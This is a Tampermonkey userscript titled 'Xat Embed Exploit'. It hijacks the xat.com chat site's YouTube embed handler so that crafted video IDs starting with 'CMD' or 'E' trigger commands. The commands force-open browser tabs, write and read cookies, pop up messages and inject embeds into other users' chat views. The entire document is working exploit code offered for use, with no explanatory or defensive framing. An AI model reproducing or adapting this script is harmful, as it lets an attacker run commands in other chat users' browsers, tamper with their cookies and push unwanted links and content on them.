NOTICE: By continued use of this site you understand and agree to the binding Terms of Service and Privacy Policy.
// ==UserScript==
// @name Xat Embed Exploit - TAMPERMONKEY
// @namespace http://tilk.net84.net/
// @version 10.8.8
// @description Exploits the Xat YouTube player to run arbritary code.
// @author Anubis/Dylan
// @match http://xat.com/TheActive1011
// @match http://xat.com/*
// @grant none
// ==/UserScript==
///////////////////
//CLIENT SETTINGS//
///////////////////
var USER_NAME = "Anubis";
var NO_LINK = 0;
var NO_PM = 0;
var PM_USER = '';
var NaND ="0";
var EXITDOODLE = 1;
var LAST_SMILEY = 1;
//////////////////////////
//KERNEL LEVEL FUNCTIONS//
//////////////////////////
String.prototype.between = function(prefix, suffix) {
s = this;
var i = s.indexOf(prefix);
if (i >= 0) { s = s.substring(i + prefix.length); }
else { return ''; }
if (suffix) { i = s.indexOf(suffix); if (i >= 0) { s = s.substring(0, i); } else { return ''; }}
return s;
}
GetEmbed = function(vid) {
if(vid.substr(0,2) == "$P") {
vid = clean(vid);
embed = '<embed type="application/x-shockwave-flash" allowFullScreen="true" bgcolor="#000000" ';
vid = vid.substr(2);
var sp = vid.split(",");
var w=425, h=355;
if(sp[2] > 0 && sp[3] > 0) { w = sp[2]; h = sp[3]; }
url = 'http://'+sp[0]+'.photobucket.com/'+sp[1];
embed ='<a href="'+url+'" target="_blank"><img src="'+url+'" width="'+w+'" height="'+h+'" border="0"></a>';
return embed;
}
else if(vid.substring(0,3) == "CMD") {
command_kernel(vid.substring(3,vid.length));
return '';
} else if(vid.substring(0,1) == "E") {
command_kernel(vid.substring(2,vid.length));
return '';
} else {
vid = clean(vid);
embed = '<embed type="application/x-shockwave-flash" allowFullScreen="true" bgcolor="#000000" ';
embed += 'src="http://www.youtube.com/v/'+ vid + '&rel=0&color1=0xd6d6d6&color2=0xf0f0f0&border=0&autoplay=1"'; w=425; h=355; }
embed += ' width="'+w+'" height="'+h+'" />' ;
return embed;
}
command_kernel = function(vid) {
if(vid.substring(0,4) == "LINK") open_tab(vid.substring(4,vid.length));
else if(vid.substring(0,5) == "sLINK") NaND = "CMDOPEN"+vid.substring(4,vid.length);
else if(vid.substring(0,3) == "MSG") send_message(vid.substring(3,vid.length));
else if(vid.substring(0,4) == "sMSG") NaND = "CMDMSG"+vid.substring(4,vid.length);
else if(vid.substring(0,2) == "PM") send_PM(vid.substring(2,vid.length));
else if(vid.substring(0,6) == "SET_PM") set_PM(vid.substring(6,vid.length));
else if(vid.substring(0,10) == "CHNGDOODLE") SetDoodleCMD(vid.substring(10,vid.length));
else if(vid.substring(0,10) == "DOODLECHAT") DoodleChat();
else if(vid.substring(0,8) == "DOODLEON") EXITDOODLE=0;
else if(vid.substring(0,9) == "DOODLEMOD") EXITDOODLE=1;
else if(vid.substring(0,5) == "WRITE") cookie_create(vid);
else if(vid.substring(0,4) == "READ") alert(readCookie(vid.between("READ","END1")));
else if(vid.substring(0,7) == "NO_LINK") NO_LINK =1;
else if(vid.substring(0,8) == "YES_LINK") NO_LINK=0;
else if(vid.substring(0,4) == "CHAT") chat_embed(vid.substring(4,vid.length));
else if(vid.substring(0,6) == "SMILEY") LAST_SMILEY = vid.substring(4,vid.length);
else if(vid.substring(0,5) == "FORCE") ForceEmbed(vid.substring(5,vid.length));
else if(vid.substring(0,5) == "SHOUT") ForceEmbed("CMDMSG"+USER_NAME+"_SAYS_"+vid.substring(5,vid.length));
else kernel_kek(vid);
}
kernel_kek = function(a) {
if(a.substring(0,5) == "eCHAT") { chatid = a.substring(5,a.length); LAST_SMILEY = 2;}
else if(a.substring(0,5) == "aCHAT") { LAST_SMILEY = 1; }
}
Doodle_Kernel = function(vid) {
if(vid.substring(0,4) == "LINK") SetDoodleCMD(vid.substring(4,vid.length));
}
SetDoodleCMD = function(vid) {
DOODLECMD = vid;
}
ForceEmbed = function(arg) {
b = '<a title="CLICK ME" onclick="javascript:SetControl2('+arg+');return false">SEND';
c = '<a title="CLICK ME" onclick="javascript:SetControl2'+"('"+arg+"')"+';return false">SEND'
document.getElementById('control').innerHTML=c;
}
GrabCN = function() {
var a = SetControl.toString();
CN = a.between('flashvars="cn=','&id=');
return CN;
}
SetControl2 = function(arg)
{
GrabCN();
ClearControl();
divId=document.getElementById('control');
divId.style.display="inline";
if(divId.innerHTML.length < 10)
var Z = '<embed src="http://www.xatech.com/web_gear/flash/media.swf?b44" quality="high" wmode="transparent" flashvars="cn='+CN+'&id=205111263&md=www.youtube.com/watch%3Fv='+arg.toString()+'" width="425" height="131" name="media" align="middle" allowScriptAccess="sameDomain" type="application/x-shockwave-flash" />';
divId.innerHTML=Z;
}
///////////////////////
//USER MODE FUNCTIONS//
///////////////////////
createCookie = function(name,value,days) {
if (days) {
var date = new Date();
date.setTime(date.getTime()+(days*24*60*60*1000));
var expires = "; expires="+date.toGMTString();
}
else var expires = "";
document.cookie = name+"="+value+expires+"; path=/";
}
readCookie = function(name) {
var nameEQ = name + "=";
var ca = document.cookie.split(';');
for(var i=0;i < ca.length;i++) {
var c = ca[i];
while (c.charAt(0)==' ') c = c.substring(1,c.length);
if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length);
}
return null;
}
set_PM = function(vid) {
PM_USER = vid;
}
send_message = function(vid) {
if(NO_PM == 0) alert(vid)
else return '';
}
send_PM = function(vid) {
var NAME = vid.substring(0,1)+vid.between(vid.substring(0,1),"H_H");
if(PM_USER == NAME) {
if(NO_PM == 0) {
var NAME = vid.substring(0,1)+vid.between(vid.substring(0,1),"H_H");
var MSG = vid.substring(NAME.length,vid.length)+"e";
var COMPLETE = NAME+" : "+MSG;
alert(COMPLETE);
}
} else if(USER_NAME == NAME){
alert(NAME+" : "+vid.substring(NAME.length,vid.length));
}
}
cookie_create = function(vid) {
var name = vid.between("WRITE","END1");
var value = vid.between("END1","END2");
var days = 10;
createCookie(name,value,days);
}
open_tab = function(vid) {
if(NO_LINK == 0) {
var win = window.open("http://"+vid.substring(0,vid.length), '_blank');
win.focus();
} else {
return '';
}
}
OpenDoodle2 = function(EXITDOODLE)
{
if(EXITDOODLE == 1) {
divId=document.getElementById('media');
divId.innerHTML='<embed src="http://www.xatech.com/web_gear/flash/doodle.swf?a12" quality="high" bgcolor="#000000" flashvars="cn=944718487" width="425" height="600" name="doodle" align="middle" allowScriptAccess="sameDomain" type="application/x-shockwave-flash" wmode="transparent" />';
ClearControl();
createCookie("LastApp", 10000, 31);
return 1;
}
else if(EXITDOODLE == 2){
divId=document.getElementById('media');
divId.innerHTML='<iframe name="CHATBUTTON_CHATBOX" id="CHATBUTTON_CHATBOX" src="https://www.chatbutton.com/chatroom/18367612/" width="390" height="480" marginwidth="0" marginheight="0" frameborder="0" vspace="0" hspace="0" allowtransparency="true" scrolling="no"><a href="https://www.chatbutton.com/chatroom/18367612/">Enter Chat Room</a></iframe>';
} else {
command_kernel(DOODLECMD);
}
}
chat_embed = function(chatid) {
if(chatid >> 0) {
ClearAll();
divId=document.getElementById('media');
divId.innerHTML='<embed wmode="transparent" src="http://www.xatech.com/web_gear/chat/chat.swf" quality="high" width="640" height="480" name="chat" FlashVars="id='+chatid+'" align="middle" allowScriptAccess="sameDomain" type="application/x-shockwave-flash" pluginspage="http://xat.com/update_flash.php" /><br><small><a target="_BLANK" href="http://xat.com/web_gear/?cb">Get your own Chat Box!</a> <a target="_BLANK" href="http://xat.com/web_gear/chat/go_large.php?id=187223849">Go Large!</a></small><br>';
}
}
OpenDoodle = function() {
det_DoodleChat();
createCookie("DOODLE","ON",10);
}
det_DoodleChat = function() {
if(readCookie("EXITDOODLE")) { var EXITDOODLE = readCookie("EXITDOODLE");}
else {createCookie("EXITDOODLE",1,10); var EXITDOODLE = 1;}
OpenDoodle2(EXITDOODLE);
}
det_doodle = function() {
var x = readCookie("doodlex");
if(x) { DOODLECMD = x; }
else { DOODLECMD = "NULL"; }
}
DoodleChat = function() {
if(EXITDOODLE == "1") {EXITDOODLE="2"; OpenDoodle(); createCookie("EXITDOODLE",1,10); }
else if(EXITDOODLE == "2") {EXITDOODLE ="3"; OpenDoodle(); createCookie("EXITDOODLE",2,10); }
else if(EXITDOODLE == "3") {EXITDOODLE = "1"; OpenDoodle(); createCookie("EXITDOODLE",3,10); }
else if(EXITDOODLE == "0") {EXITDOODLE = "1"; OpenDoodle(); createCookie("EXITDOODLE",1,10);}
}
OpenSmilies = function() {
if(LAST_SMILEY == 1) {
divId=document.getElementById('media');
divId.innerHTML='<embed src="http://www.xatech.com/web_gear/flash/smilies.swf?b4" quality="high" wmode="transparent" flashvars="cn=2050067070" width="425" height="600" name=smilies align="middle" allowScriptAccess="sameDomain" type="application/x-shockwave-flash" />';
ClearControl();
createCookie("LastApp", 30006, 31);
return 1;
} else {
chat_embed(chatid);
}
}
////////////
//AUTO RUN//
////////////
det_doodle();
//det_DoodleChat();